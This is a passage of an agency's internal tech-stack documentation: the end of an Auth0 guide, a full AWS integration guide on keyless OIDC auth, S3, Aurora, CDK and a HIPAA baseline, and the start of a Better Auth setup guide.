# .github/workflows/auth0-verify.yml
name: Verify Auth0 Config
on: [pull_request]

jobs:
  verify:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '22' }
      - run: npm ci
      - name: Check proxy/middleware exists
        run: test -f proxy.ts || test -f middleware.ts || (echo "Missing proxy.ts / middleware.ts!" && exit 1)
      - name: Check required env vars documented
        run: |
          for v in AUTH0_DOMAIN AUTH0_CLIENT_ID AUTH0_CLIENT_SECRET AUTH0_SECRET APP_BASE_URL; do
            grep -q "$v" .env.example || echo "Warning: $v missing from .env.example"
          done

Pin third-party Actions to a commit SHA in real projects (see the SLSA section of CLAUDE.md).


Common Use Cases

Use Case Approach
Default managed auth Clerk (house default). Use Auth0 only when a client requires it
Default in-app auth Custom Argon2 + sessions (the dashboard). Auth0 doesn't replace it
Add Auth0 to Next.js /project:auth0-setup or the auth0:auth0-nextjs skill
Read the current user auth0.getSession() in a Server Component / Route Handler
Protect a page auth0.withPageAuthRequired(fn, { returnTo }) or a getSession() guard
Social / enterprise login Configure connections in the dashboard. Universal Login picks them up
RBAC / permissions Enable RBAC on the API + a namespaced-claim post-login Action
Admin user/role management Management API via auth0 v7 ManagementClient
Client-credentials token in code AuthClient from @auth0/auth0-auth-js (not auth0 v7)
Verify a machine-issued JWT jose jwtVerify + createRemoteJWKSet
Call your own API auth0.getAccessToken() with an audience configured
Agent acts in user's Google/GitHub Token Vault: /auth/connect + @auth0/ai-vercel withTokenVault
Human approval for risky agent action CIBA: withAsyncAuthorization
B2B SSO / per-tenant SAML Auth0 Organizations + enterprise connections
MFA enforcement Dashboard → Security → Multi-factor Auth (or a post-login Action)

Troubleshooting

Issue Fix
404 on /api/auth/login v4 uses /auth/login (no /api). Update links. This is the #1 v3→v4 break
Auth routes 404 on Next.js 16 The file must be proxy.ts exporting proxy (or Edge-only middleware.ts). Check the matcher doesn't exclude /auth/*
callback URL mismatch Add ${APP_BASE_URL}/auth/callback to the app's Allowed Callback URLs
State error / forced re-login right after a deploy 4.29.0 changed the __txn_* cookie format. Logins started on the old version and finished on the new one fail once. Expected during rolling deploys
HTTP 431 (headers too large) Pile-up of __txn_* cookies. Upgrade to ≥ 4.29.0 (FIFO eviction, 3,500-byte cap)
AUTH0_DOMAIN errors / invalid issuer / ManagementClient throws at startup Use the bare host (acme.us.auth0.com). No https://
All users logged out unexpectedly AUTH0_SECRET changed (or differs across instances). It must be stable and identical everywhere
Roles missing from token Add a post-login Action that sets a namespaced custom claim. Bare roles is stripped
permissions claim empty Enable RBAC + "Add Permissions in the Access Token" on the API, and set an audience
JWSSignatureVerificationFailed / JWTClaimValidationFailed Confirm RS256, the JWKS URI https://${AUTH0_DOMAIN}/.well-known/jwks.json, and the audience/issuer (trailing slash)
AuthenticationClient is not exported (v7) Move token grants to @auth0/auth0-auth-js AuthClient, or import from auth0/legacy temporarily
Management API 429 You're calling it on a hot path. Move it to webhooks or jobs
Management API 403 insufficient_scope Grant the specific scope (e.g. update:users) to the M2M app
Token Vault: TokenVaultError / no refresh token Request offline_access, enable Offline Access on the connection, and have the user visit /auth/connect
@auth0/ai-vercel peer-dep conflict It supports ai ^5 or ^6. Pin ai@6 until a release adds ai 7

codeAmani notes

Official docs:

AWS Integration Guide

Technology: aws · Category: hosting · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/aws

Insight:

AWS is the Enterprise-tier host. It's reserved for $50K+ client builds (including the HIPAA healthcare platform) where Neon/R2/Resend/Vercel can't meet a client's compliance, residency, or scale requirement. It complements the house defaults and never replaces them. Reach AWS with no static keys: Vercel OIDC or GitHub OIDC → STS for workloads, and aws login / IAM Identity Center for humans. For Kenya-resident data, af-south-1 (Cape Town) is an opt-in Region that costs about 20–35% more than us-east-1.

 █████╗ ██╗    ██╗███████╗
██╔══██╗██║    ██║██╔════╝
███████║██║ █╗ ██║███████╗
██╔══██║██║███╗██║╚════██║
██║  ██║╚███╔███╔╝███████║
╚═╝  ╚═╝ ╚══╝╚══╝ ╚══════╝

AWS Integration Guide

Focus: When and how codeAmani uses Amazon Web Services for Enterprise-tier client builds. Covers keyless auth (Vercel/GitHub OIDC, IAM Identity Center, aws login), S3 and presigned URLs, RDS and Aurora Serverless v2, Lambda (Event and Web Functions), API Gateway, ECS Fargate, CloudFront, SES, IaC with the AWS CDK in TypeScript, a HIPAA baseline for the Florida healthcare niche, and af-south-1 for Kenya-targeted data residency.

Overview

motionstackstudios.com lists AWS as infrastructure, and it hosts the agency's Enterprise segment: $50K+ engagements, including a HIPAA-compliant healthcare platform for an APD/AHCA/DCF-licensed provider. Of the house hosting guides (vercel, netlify, cloudflare, render, google-cloud), it's the heavyweight option. It complements them and doesn't replace them.

The house defaults stay the same for almost everything: Neon for Postgres, Cloudflare R2 for object storage, Resend for email, Vercel for app hosting. AWS earns a place only when an enterprise client's contract demands something a default can't give: a signed BAA, data residency in a specific Region, a private VPC, VPC-peered databases, or scale/SLA guarantees.

flowchart TD
    A["New enterprise build<br/>$50K+ engagement"] --> B{"Compliance / residency /<br/>scale requirement?"}
    B -->|No| C["House defaults<br/>Neon · R2 · Resend · Vercel"]
    B -->|Yes — e.g. HIPAA BAA,<br/>in-Africa residency| D["AWS account<br/>(per-client, isolated)"]
    D --> E["Keyless auth<br/>OIDC roles · Identity Center"]
    E --> F["S3 + RDS/Aurora<br/>Lambda · ECS · CloudFront · SES"]
    F --> G["BAA via AWS Artifact<br/>HIPAA-eligible services only"]
    G --> H["Provisioned via CDK / Terraform<br/>reviewed by [CA] Cloud Architect"]

Check first. Before adding any AWS service, query the codeAmani-tech-stack MCP (search_guides / get_guide) and confirm a house default won't satisfy the requirement. AWS adds operational surface, cost, and compliance obligations. Prefer the default unless the client specifically requires AWS.

Current versions (verified 2026-10-20)

Component Version Note
AWS SDK for JavaScript v3: @aws-sdk/* 3.1153.0 Modular per-service clients; Node ≥ 20 (engines)
@vercel/oidc-aws-credentials-provider 3.3.13 Vercel OIDC → STS credentials
AWS CDK v2: aws-cdk-lib 2.273.0, CLI aws-cdk 2.1146.0, constructs 10.8.1 CLI and library version independently
AWS CLI v2: 2.38.x aws login needs ≥ 2.32.0
boto3 (Python) 1.43.115 Python ≥ 3.10
aws-actions/configure-aws-credentials v6.3.0 GitHub OIDC

Official Documentation

Resource URL
AWS Documentation (root) https://docs.aws.amazon.com
AWS SDK for JavaScript v3 https://docs.aws.amazon.com/sdk-for-javascript/v3/developer-guide/
AWS CDK v2 Developer Guide https://docs.aws.amazon.com/cdk/v2/guide/home.html
AWS CLI v2 User Guide https://docs.aws.amazon.com/cli/latest/userguide/
Lambda runtimes https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html
Vercel → AWS OIDC https://vercel.com/docs/oidc/aws
Official AWS MCP servers (awslabs/mcp) https://github.com/awslabs/mcp
HIPAA-Eligible Services Reference https://aws.amazon.com/compliance/hipaa-eligible-services-reference/
Architecting HIPAA on AWS (whitepaper) https://docs.aws.amazon.com/whitepapers/latest/architecting-hipaa-security-and-compliance-on-aws/

AWS MCP servers. AWS ships the open-source awslabs/mcp collection and AWS-managed remote endpoints. One is the read-only AWS Knowledge MCP Server (https://knowledge-mcp.global.api.aws, no auth), which serves live docs, regional availability, and API references. Others can drive an account, such as the AWS API MCP Server. None is in the house .mcp.json by default. The Knowledge server is a safe read-only companion. Anything that mutates a client account still goes through the AWS CLI v2, the v3 SDK, and CDK under the [CA] Cloud Architect gate. If you enable a write-capable AWS-managed server, it injects the aws:ViaAWSMCPService / aws:CalledViaAWSMCP IAM context keys. That lets least-privilege policies tell agent-driven calls apart from human ones.


Accounts & auth: no static keys

Every enterprise client gets an isolated AWS account, ideally under an AWS Organizations management account, so blast radius, billing, and the HIPAA BAA stay scoped per engagement.

Who is calling How it authenticates Static keys?
A human, org account IAM Identity Center (aws configure sso → aws sso login) No
A human, solo/new account aws login (CLI ≥ 2.32.0): console sign-in → short-lived, auto-rotated CLI/SDK creds No
Vercel function (Next.js) Vercel OIDC → sts:AssumeRoleWithWebIdentity via @vercel/oidc-aws-credentials-provider No
GitHub Actions GitHub OIDC via aws-actions/configure-aws-credentials@v6 No
Lambda / ECS / EC2 Execution role / task role / instance profile No
A host with no OIDC (rare) Scoped IAM user key, one bucket/action, rotated Last resort

Vercel → AWS with OIDC (the default for Vercel-hosted apps)

This replaces the old "scoped AWS_ACCESS_KEY_ID in Vercel env vars" pattern. Enable OIDC on the Vercel project (Team issuer mode). Add an IAM OIDC identity provider with URL https://oidc.vercel.com/<team-slug> and audience https://vercel.com/<team-slug>, plus sts.amazonaws.com if you pass that audience. Then create a role whose trust policy pins sub to owner:<team>:project:<project>:environment:production.

// lib/aws.ts (server-only)
import "server-only";
import { S3Client } from "@aws-sdk/client-s3";
import { awsCredentialsProvider } from "@vercel/oidc-aws-credentials-provider";

export const s3 = new S3Client({
  region: process.env.AWS_REGION!, // PIN this in Vercel env vars (see below)
  credentials: awsCredentialsProvider({
    roleArn: process.env.AWS_ROLE_ARN!,
    audience: "sts.amazonaws.com", // must match the provider + trust policy `aud`
  }),
});

Gotcha: AWS_REGION on Vercel. Vercel sets AWS_REGION to the function's execution Region. With multi-region routing or failover, that value changes and your SDK calls go to a Region where your bucket doesn't exist. Always set AWS_REGION explicitly in the Vercel project.

Secrets Manager

App secrets such as DB credentials and third-party API keys live in AWS Secrets Manager when the build runs on AWS end-to-end. It integrates with RDS rotation and IAM. Secrets Manager is the AWS-native analogue of the house infisical / Hazina setup. When the app is Vercel-hosted, Vercel env vars or Infisical stay the default, and AWS holds only infrastructure secrets. Pricing is $0.40 per secret per month plus $0.05 per 10,000 API calls, so cache reads:

// lib/aws/secrets.ts
import { SecretsManagerClient, GetSecretValueCommand } from "@aws-sdk/client-secrets-manager";

const client = new SecretsManagerClient({ region: process.env.AWS_REGION });
const cache = new Map<string, { value: unknown; expires: number }>();

export async function getSecret<T>(secretId: string, parse: (raw: unknown) => T): Promise<T> {
  const hit = cache.get(secretId);
  if (hit && hit.expires > Date.now()) return parse(hit.value);
  const res = await client.send(new GetSecretValueCommand({ SecretId: secretId }));
  if (!res.SecretString) throw new Error(`Secret ${secretId} has no string value`);
  const value: unknown = JSON.parse(res.SecretString);
  cache.set(secretId, { value, expires: Date.now() + 5 * 60_000 });
  return parse(value); // validate the shape; don't cast
}

Full version with a typed parser: examples/secrets.ts.


S3 & presigned URLs

S3 is the AWS object store. Cloudflare R2 is the house default (zero egress fees, S3-compatible API), and most builds never leave R2. An enterprise or HIPAA client may still require S3 specifically: BAA coverage, Object Lock for WORM retention, SSE-KMS with a customer-managed key, or VPC-gated access. R2 speaks the S3 API, so the v3 @aws-sdk/client-s3 code below works against both. Only the endpoint and credentials change.

Client uploads use a presigned URL. The browser uploads directly to S3, the server never proxies the bytes, and the URL expires. For PHI, the bucket is private with SSE-KMS, and the presigned PUT carries the encryption header.

// lib/aws/s3-presign.ts
import { PutObjectCommand, GetObjectCommand } from "@aws-sdk/client-s3";
import { getSignedUrl } from "@aws-sdk/s3-request-presigner";
import { s3 } from "@/lib/aws";

const BUCKET = process.env.S3_BUCKET!;

/** Presigned PUT for a direct browser upload (PHI: SSE-KMS enforced). */
export async function presignUpload(key: string, contentType: string): Promise<string> {
  const cmd = new PutObjectCommand({
    Bucket: BUCKET,
    Key: key, // build the key server-side; never trust a client-supplied key
    ContentType: contentType,
    ServerSideEncryption: "aws:kms",
    SSEKMSKeyId: process.env.S3_KMS_KEY_ID, // customer-managed key for healthcare
  });
  return getSignedUrl(s3, cmd, { expiresIn: 300 }); // 5 minutes
}

/** Presigned GET for a time-boxed download (e.g. an intake PDF). */
export async function presignDownload(key: string): Promise<string> {
  return getSignedUrl(s3, new GetObjectCommand({ Bucket: BUCKET, Key: key }), { expiresIn: 60 });
}

Gotcha: a presigned PUT only succeeds if the request matches the signed parameters exactly. If you sign ServerSideEncryption: "aws:kms", the browser's PUT must send the x-amz-server-side-encryption: aws:kms header, or S3 returns 403 SignatureDoesNotMatch. Sign exactly the headers the client will send, no more. A runnable Next.js Route Handler is in examples/vercel-oidc/. The boto3 version is in examples/python/presign_boto3.py.

Price: S3 Standard is $0.023/GB-month in us-east-1 and $0.0274 in af-south-1 (first 50 TB).


Databases: RDS & Aurora Serverless v2

Neon is the house default Postgres. It's serverless, branches per PR, and is already wired into the neon guide and the app's Drizzle setup. Stay on Neon unless an enterprise client needs something Neon can't offer: a signed BAA, a private VPC with no public endpoint, VPC peering to other AWS resources, or a specific data-residency Region.

When AWS is required, prefer Aurora Serverless v2 (PostgreSQL-compatible) over plain RDS for most workloads. It autoscales ACUs with load and can scale down to 0 ACUs when idle, which mirrors Neon's serverless economics while living inside the client's VPC. Compute costs $0.12/ACU-hour in us-east-1 (Aurora Standard; $0.156 on I/O-Optimized) and $0.16/ACU-hour in af-south-1. Reach for provisioned RDS only when a steady instance class is cheaper or a feature requires it.

Concern House default (Neon) AWS (Aurora Serverless v2 / RDS)
Provisioning Instant, in-console/MCP CDK/Terraform into a VPC
Scaling Serverless autoscale Aurora SLv2 ACUs / RDS instance class
Branching Per-PR DB branches Snapshots/clones (heavier)
Connection Pooled HTTP/WebSocket driver Standard pg over VPC; RDS Proxy for Lambda; IAM auth tokens via @aws-sdk/rds-signer
HIPAA BAA Via Neon's terms Covered under the AWS BAA (Aurora/RDS are HIPAA-eligible)
Encryption TLS + at-rest TLS + KMS at-rest (required for PHI)

Drizzle still drives it. Point the connection string at the Aurora writer endpoint, sourced from Secrets Manager, or use short-lived IAM auth tokens from @aws-sdk/rds-signer, which also works from Vercel via OIDC. For Lambda, put RDS Proxy in front so cold-start storms don't exhaust connections.


Compute: Lambda, API Gateway & ECS Fargate

Runtimes (Event Functions): nodejs24.x is the target (deprecation 2028-04-30) and is what CDK's Runtime.NODEJS_LATEST resolves to in aws-cdk-lib 2.273.0. nodejs22.x is supported until 2027-04-30. nodejs20.x was deprecated on 2026-04-30; migrate any function still on it. nodejs26.x is in public preview: no SLA, not for production, and no CDK constant yet. Amazon Linux 2 reached end of life on 2026-06-30. On Fargate, pin the base image to Node.js 24 LTS.

Every compute shape runs with a scoped task/execution role (no embedded keys) and reads secrets from Secrets Manager at start. A typical healthcare platform: CloudFront → ALB → Fargate service (private subnets) → Aurora Serverless v2 (isolated subnets) → S3 for documents.


CloudFront & SES


Regions: us-east-1 by default, af-south-1 for Kenya-resident data

codeAmani is US-first, so client accounts default to us-east-1. For a Kenya-targeted project whose contract or KDPA 2019 analysis calls for in-Africa data residency, use af-south-1 (Cape Town), the closest AWS Region to Nairobi:

Full price comparison: reference/cheatsheet.md.


Infrastructure as Code (AWS CDK in TypeScript)

All AWS infrastructure is defined as code and reviewed by the [CA] Cloud Architect agent before apply. No click-ops in the console for anything that touches client data. The house preference is AWS CDK v2 in TypeScript: same language as the app, with type-safe constructs. Terraform is the alternative when a client standardizes on it or needs multi-cloud.

npm install aws-cdk-lib@2.273.0 constructs@10.8.1
npm install -D aws-cdk@2.1146.0          # project-local CLI; run via npx cdk
npx cdk bootstrap aws://ACCOUNT_ID/us-east-1

A minimal HIPAA-leaning stack: a private, encrypted, versioned bucket and a scoped secret.

// lib/intake-stack.ts
import { Stack, type StackProps, Duration, RemovalPolicy } from "aws-cdk-lib";
import type { Construct } from "constructs";
import { Bucket, BucketEncryption, BlockPublicAccess } from "aws-cdk-lib/aws-s3";
import { Key } from "aws-cdk-lib/aws-kms";
import { Secret } from "aws-cdk-lib/aws-secretsmanager";

export class IntakeStack extends Stack {
  constructor(scope: Construct, id: string, props?: StackProps) {
    super(scope, id, props);

    // Customer-managed KMS key with rotation (required posture for PHI).
    const key = new Key(this, "IntakeKey", {
      enableKeyRotation: true,
      removalPolicy: RemovalPolicy.RETAIN,
    });

    // Private, encrypted, versioned bucket — no public access.
    new Bucket(this, "IntakeBucket", {
      bucketName: "acme-health-intake",
      encryption: BucketEncryption.KMS,
      encryptionKey: key,
      bucketKeyEnabled: true, // fewer KMS requests → lower cost
      enforceSSL: true,
      versioned: true,
      blockPublicAccess: BlockPublicAccess.BLOCK_ALL,
      lifecycleRules: [{ expiration: Duration.days(2555) }], // ~7yr retention
      removalPolicy: RemovalPolicy.RETAIN,
    });

    // DB credentials in Secrets Manager (consumed by Aurora + the app).
    new Secret(this, "DbCredentials", {
      secretName: "acme/aurora/credentials",
      encryptionKey: key,
      generateSecretString: {
        secretStringTemplate: JSON.stringify({ username: "app" }),
        generateStringKey: "password",
        excludePunctuation: true,
      },
    });
  }
}

The full app, with a Node.js 24 Lambda on upload and least-privilege grants, is in examples/cdk/. Note that NodejsFunction's logRetention prop is deprecated; pass a logGroup instead.

npx cdk synth      # emit the CloudFormation template (review this in the [CA] gate)
npx cdk diff       # show the delta against the deployed stack
npx cdk deploy     # apply (only after Cloud Architect review)

HIPAA on AWS (Florida healthcare niche)

This is the reason AWS exists in the stack. Any build handling PHI for an APD/AHCA/DCF provider has a non-negotiable baseline:

  1. Sign the BAA. Accept the AWS Business Associate Addendum via AWS Artifact (Console → Artifact → Agreements) before any PHI lands in the account. No BAA, no PHI. Designating an account as HIPAA also upgrades a Free-plan account to a paid plan.
  2. HIPAA-eligible services only. PHI may only flow through services on the HIPAA-eligible services reference. S3, RDS/Aurora, Lambda, ECS/Fargate, API Gateway, CloudFront, SES, Secrets Manager, and KMS are eligible. Check each service anyway, and especially new features like Lambda Web Functions, before use.
  3. Encryption at rest: KMS on S3 (SSE-KMS), Aurora/RDS storage encryption, EBS volumes. Customer-managed keys with rotation give the strongest posture.
  4. Encryption in transit: TLS everywhere, with enforceSSL on buckets, rds.force_ssl, and HTTPS-only CloudFront. See the encryption guide.
  5. Audit + access: CloudTrail on (immutable log bucket), least-privilege IAM, no public endpoints for PHI stores, VPC isolation for databases. Keep PHI out of CloudWatch logs.
  6. Retention: lifecycle rules or Object Lock to meet record-retention rules. Florida healthcare retention can run about 7 years.
flowchart LR
    A["Provider uploads PHI"] --> B["CloudFront + OAC<br/>HTTPS only"]
    B --> C["Private S3 bucket<br/>SSE-KMS · versioned"]
    A --> D["Fargate service<br/>(private subnet)"]
    D --> E[("Aurora Serverless v2<br/>KMS at-rest · TLS")]
    D --> F["Secrets Manager<br/>DB creds via IAM role"]
    G["AWS Artifact BAA"] -.signed before any PHI.-> C
    H["CloudTrail"] -.audit log.-> C

Compliance gate: PHI work involves the [COMPLIANCE] and [PRIVACY] agents. The BAA, the encryption posture, and the HIPAA-eligible-services check are human approval gates. Surface them; don't assume them.


Environment Variables

Non-secret settings. Set them as plain env vars; they don't belong in a secrets vault:

Variable Example Notes
AWS_REGION us-east-1 / af-south-1 Required by every v3 client. Pin it on Vercel.
AWS_ROLE_ARN arn:aws:iam::123456789012:role/vercel-s3-intake Vercel OIDC role to assume
AWS_PROFILE acme-enterprise Local dev/CLI only (aws login or SSO profile)
S3_BUCKET acme-health-intake
S3_KMS_KEY_ID arn:aws:kms:us-east-1:123456789012:key/... Key ARN, not secret material

Static credentials are a last resort, used only on a host that can't do OIDC and can't attach a role. Scope them to one bucket and action, and rotate them:

AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=...           # server-side only — NEVER ship to the client bundle

Add these to ENV_MASTER.md and each project's .env.example. In production, prefer OIDC (Vercel, GitHub), IAM roles (Lambda/ECS/EC2), and Secrets Manager over static keys. Never expose credentials to the browser; presign on the server.


CLI Integration (AWS CLI v2)

Install the AWS CLI v2 (2.38.x). Authenticate with aws login or an IAM Identity Center profile, and never paste root keys.

# Humans: short-lived creds from console sign-in (CLI >= 2.32.0) …
aws login --profile acme-enterprise
# … or IAM Identity Center for org accounts
aws configure sso
aws sso login --profile acme-enterprise

# Verify which identity you're operating as before anything destructive
aws sts get-caller-identity --profile acme-enterprise

# Kenya-resident data: enable the opt-in Region once per account
aws account enable-region --region-name af-south-1 --profile acme-enterprise

# Read a secret (JSON) from Secrets Manager
aws secretsmanager get-secret-value --secret-id acme/aurora/credentials \
  --query SecretString --output text --profile acme-enterprise

# Tail a Lambda's logs live
aws logs tail /aws/lambda/intake-handler --follow --profile acme-enterprise

Automation Workflows

Claude Code slash command: AWS resource audit

.claude/commands/aws-audit.md:

Audit the AWS account for the profile: $ARGUMENTS

1. Run `aws sts get-caller-identity --profile $ARGUMENTS` and confirm the account.
2. List S3 buckets and check each for: public-access block ON, default encryption,
   and versioning (`aws s3api get-bucket-encryption|get-public-access-block|get-bucket-versioning`).
3. List IAM users and flag any with active access keys (OIDC/roles should replace them).
4. List IAM OIDC providers and review every role trusting them: `aud` pinned, no `repo:*` / project `*` in `sub`.
5. List Lambda functions on deprecated runtimes (`nodejs20.x` and older, any AL2 runtime).
6. Confirm CloudTrail is enabled in all regions.
7. Cross-check every service touching PHI against the HIPAA-eligible services list.
8. Output a findings table: resource, issue, severity, remediation. Flag anything
   that breaks the HIPAA baseline for the [COMPLIANCE] / [PRIVACY] gate.

GitHub Actions: CDK deploy via OIDC (no static keys)

# .github/workflows/cdk-deploy.yml
name: CDK Deploy
on:
  push:
    branches: [main]

permissions:
  id-token: write   # required for OIDC role assumption
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with: { node-version: '24', cache: npm }
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-cdk-deploy
          aws-region: us-east-1
      - run: npm ci
      - run: npx cdk diff
      - run: npx cdk deploy --all --require-approval never

GitHub OIDC assumes a deploy role, so CI holds no long-lived AWS keys. Scope the trust policy's sub to the repo plus a branch or environment. GitHub repos created or renamed on or after 2026-07-15 emit an immutable sub that uses numeric IDs, so check the claim before you write the condition. Pin actions to commit SHAs per the supply-chain policy.


Common Use Cases

Use Case Approach
Default object storage Cloudflare R2 (house default); use S3 only if a client requires it
Default Postgres Neon (house default); use Aurora Serverless v2 only for VPC/BAA/residency needs
Default transactional email Resend (house default); use SES only for in-account, high-volume, or BAA email
Default app hosting Vercel (house default); use ECS Fargate or Lambda for VPC-resident services
Vercel app → S3/RDS Vercel OIDC role via @vercel/oidc-aws-credentials-provider (no keys)
CI deploys GitHub OIDC + configure-aws-credentials@v6
Direct browser upload S3 presigned PUT (@aws-sdk/s3-request-presigner), 5-min expiry
Python service → S3 boto3 generate_presigned_url with SigV4
Infrastructure provisioning AWS CDK v2 (TypeScript), reviewed by [CA]
App/infra secrets AWS Secrets Manager + IAM role, cached (ties to infisical/encryption)
HIPAA PHI store Private S3 + SSE-KMS + Aurora-in-VPC, BAA via AWS Artifact
Kenya-resident data af-south-1 (opt-in) + CloudFront Nairobi edge
Bursty / event-driven compute Lambda Event Functions + API Gateway (+ RDS Proxy for DB)
HTTP Node API, VPC-resident Lambda Web Functions (evaluate) or ECS Fargate
Long-running / containerized ECS Fargate (ties to docker guide)

Troubleshooting

Issue Fix
SignatureDoesNotMatch on presigned PUT The client must send exactly the signed headers (e.g. x-amz-server-side-encryption); sign only what the client will send
403 AccessDenied on S3 GET Check that the IAM policy ARN matches the bucket and that the bucket policy / OAC isn't blocking; confirm AWS_REGION is correct
Vercel: Not authorized to perform sts:AssumeRoleWithWebIdentity The trust policy's aud/sub doesn't match the token. Check the team slug, project name, and environment, and that the audience is registered on the IAM OIDC provider
Vercel: calls hit the wrong Region / NoSuchBucket AWS_REGION was auto-set to the function's Region; set it explicitly in project env vars
GitHub: OIDC assume-role denied on a new repo New or renamed repos (since 2026-07-15) emit an immutable numeric sub; update the condition
ExpiredToken from the SDK Session expired; re-run aws login / aws sso login --profile ...
CLI uses the wrong account Pass --profile (or set AWS_PROFILE); verify with aws sts get-caller-identity
af-south-1 calls fail with auth errors The Region isn't enabled on the account; run aws account enable-region --region-name af-south-1
Lambda DB connection exhaustion Front the database with RDS Proxy; don't open a raw pool per invocation
Lambda on nodejs20.x Deprecated 2026-04-30; move to nodejs24.x (Runtime.NODEJS_24_X)
cdk deploy fails on bootstrap Run cdk bootstrap aws://ACCOUNT/REGION once per account+Region (af-south-1 too)
SES emails go to spam / stuck in sandbox Verify domain DKIM/SPF/DMARC and request production access
PHI on a non-eligible service Stop. Move PHI only onto services on the HIPAA-eligible list, and confirm the BAA is signed in AWS Artifact
KMS AccessDeniedException The IAM role needs kms:GenerateDataKey/kms:Decrypt on the key, and the key policy must allow the role

codeAmani notes

See PATTERNS.md, RESOURCES.md, NOTES.md, examples/, and reference/.

Official docs:

Better Auth Integration Guide

Technology: better-auth · Category: auth · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/better-auth

Insight:

Better Auth is the self-hosted counterweight to Clerk — the user, session, account and verification tables live in your Postgres, so auth data joins directly against app data and there is no per-MAU bill. You trade a managed dashboard for full ownership: you run the migrations, you secure the tables, you send the emails and the SMS. Run 1.7.7 or later — 1.7.7 patched a critical Magic Link account takeover — and pin every @better-auth/* package to the same version.

██████╗ ███████╗████████╗████████╗███████╗██████╗      █████╗ ██╗   ██╗████████╗██╗  ██╗
██╔══██╗██╔════╝╚══██╔══╝╚══██╔══╝██╔════╝██╔══██╗    ██╔══██╗██║   ██║╚══██╔══╝██║  ██║
██████╔╝█████╗     ██║      ██║   █████╗  ██████╔╝    ███████║██║   ██║   ██║   ███████║
██╔══██╗██╔══╝     ██║      ██║   ██╔══╝  ██╔══██╗    ██╔══██║██║   ██║   ██║   ██╔══██║
██████╔╝███████╗   ██║      ██║   ███████╗██║  ██║    ██║  ██║╚██████╔╝   ██║   ██║  ██║
╚═════╝ ╚══════╝   ╚═╝      ╚═╝   ╚══════╝╚═╝  ╚═╝    ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚═╝  ╚═╝

Better Auth Integration Guide

Focus: framework-agnostic, self-hosted TypeScript auth — email/password, social OAuth, sessions, and a first-party plugin ecosystem (organizations, 2FA, passkeys, phone OTP, Stripe billing) running entirely inside your own Next.js 16 app and your own Postgres.

Overview

Better Auth is a library, not a service. You call betterAuth({...}) in your own code, point it at your own database, and mount a single catch-all route. No external identity provider sits in the request path — signing in writes a row to your session table and sets an HttpOnly cookie signed with your BETTER_AUTH_SECRET.

That inversion is the whole trade-off against Clerk and Auth0:

Clerk / Auth0 Better Auth
User data lives in the vendor's database your Postgres (user, session, account, verification)
Joining users to app data webhook-synced mirror table a plain SQL JOIN
Pricing per monthly-active-user your database bill (framework is free, MIT)
Pre-built UI hosted components you build the forms
Email / SMS delivery included you wire it (Resend, Africa's Talking) — or pay for Better Auth Infrastructure
Ops burden none migrations, secret rotation, table security
flowchart LR
  A["Browser<br/>authClient"] -->|"fetch /api/auth/*"| B["Catch-all route<br/>toNextJsHandler(auth)"]
  P["proxy.ts<br/>getSessionCookie()"] -.->|"optimistic redirect"| A
  B --> C["betterAuth() instance<br/>lib/auth.ts"]
  C --> D["Adapter<br/>drizzle · prisma · pg (Kysely)"]
  D --> E[("Your Postgres<br/>Neon · Supabase<br/>user · session · account · verification")]
  C --> F["Plugins<br/>organization · twoFactor<br/>phoneNumber · passkey · stripe"]
  B -.->|"Set-Cookie<br/>HttpOnly · Secure · SameSite=Lax"| A

Versions (verified 2026-10-20 via npm view)

Package Version Notes
better-auth 1.7.11 (latest) 1.8.0-beta.1 is on the beta tag — not for production
auth (CLI) 1.7.11 requires Node ≥ 22.12
@better-auth/drizzle-adapter, @better-auth/prisma-adapter 1.7.11 split out of core; still re-exported as better-auth/adapters/*
@better-auth/passkey, @better-auth/stripe 1.7.11 upgrade in lockstep with core
stripe (peer of @better-auth/stripe) ≤ 22.x (22.6.2) peer range is ^18 – ^22; stripe@23.0.0 is out but not supported yet
next peer range ^14 || ^15 || ^16 Next 16.4.2 current
drizzle-orm peer range ^0.45.2 || >=1.0.0-rc.1 <2
prisma / @prisma/client peer range ^5 || ^6 || ^7 Prisma 8 is still RC

Official Documentation

Resource URL
Docs home https://better-auth.com/docs
Installation https://better-auth.com/docs/installation
Next.js integration (proxy.ts) https://better-auth.com/docs/integrations/next
Database & adapters https://better-auth.com/docs/concepts/database
Session management https://better-auth.com/docs/concepts/session-management
CLI https://better-auth.com/docs/concepts/cli
1.7 upgrade guide https://better-auth.com/docs/guides/1-7-upgrade-guide
Source & releases https://github.com/better-auth/better-auth

Every docs page is available as Markdown by appending .md (e.g. https://better-auth.com/docs/integrations/next.md). Use https://better-auth.com/sitemap.xml to discover pages; llms.txt is only a short index.


Setup

1. Install

npm install better-auth@1.7.11
npm install @better-auth/drizzle-adapter@1.7.11   # if you use Drizzle

2. Generate a secret

BETTER_AUTH_SECRET signs session cookies and encrypts stored OAuth tokens. It must be high-entropy and at least 32 characters. The CLI generates one:

npx auth@latest secret

CLI package name: the CLI ships as the bare npm package auth (npx auth ...) and needs Node 22.12+. The old @better-auth/cli name is frozen at 1.4.21; never use it against a 1.7 install.

3. Environment variables

Secrets (store in Hazina / Vercel env, never NEXT_PUBLIC_*):

# .env.local — server-side only
BETTER_AUTH_SECRET=<32+ char secret from npx auth secret>
DATABASE_URL=<pooled postgres connection string>
GOOGLE_CLIENT_SECRET=<from Google Cloud console>
STRIPE_SECRET_KEY=sk_test_...
STRIPE_WEBHOOK_SECRET=whsec_...

Non-secret settings:

Variable Example Purpose
BETTER_AUTH_URL http://localhost:3000 Base URL Better Auth builds callback URLs from
NEXT_PUBLIC_APP_URL https://app.example.com Client baseURL — only needed when auth runs on another origin
GOOGLE_CLIENT_ID 1234-abc.apps.googleusercontent.com OAuth client ID (public by design)
STRIPE_PRO_PRICE_ID price_... Stripe Price for the pro plan

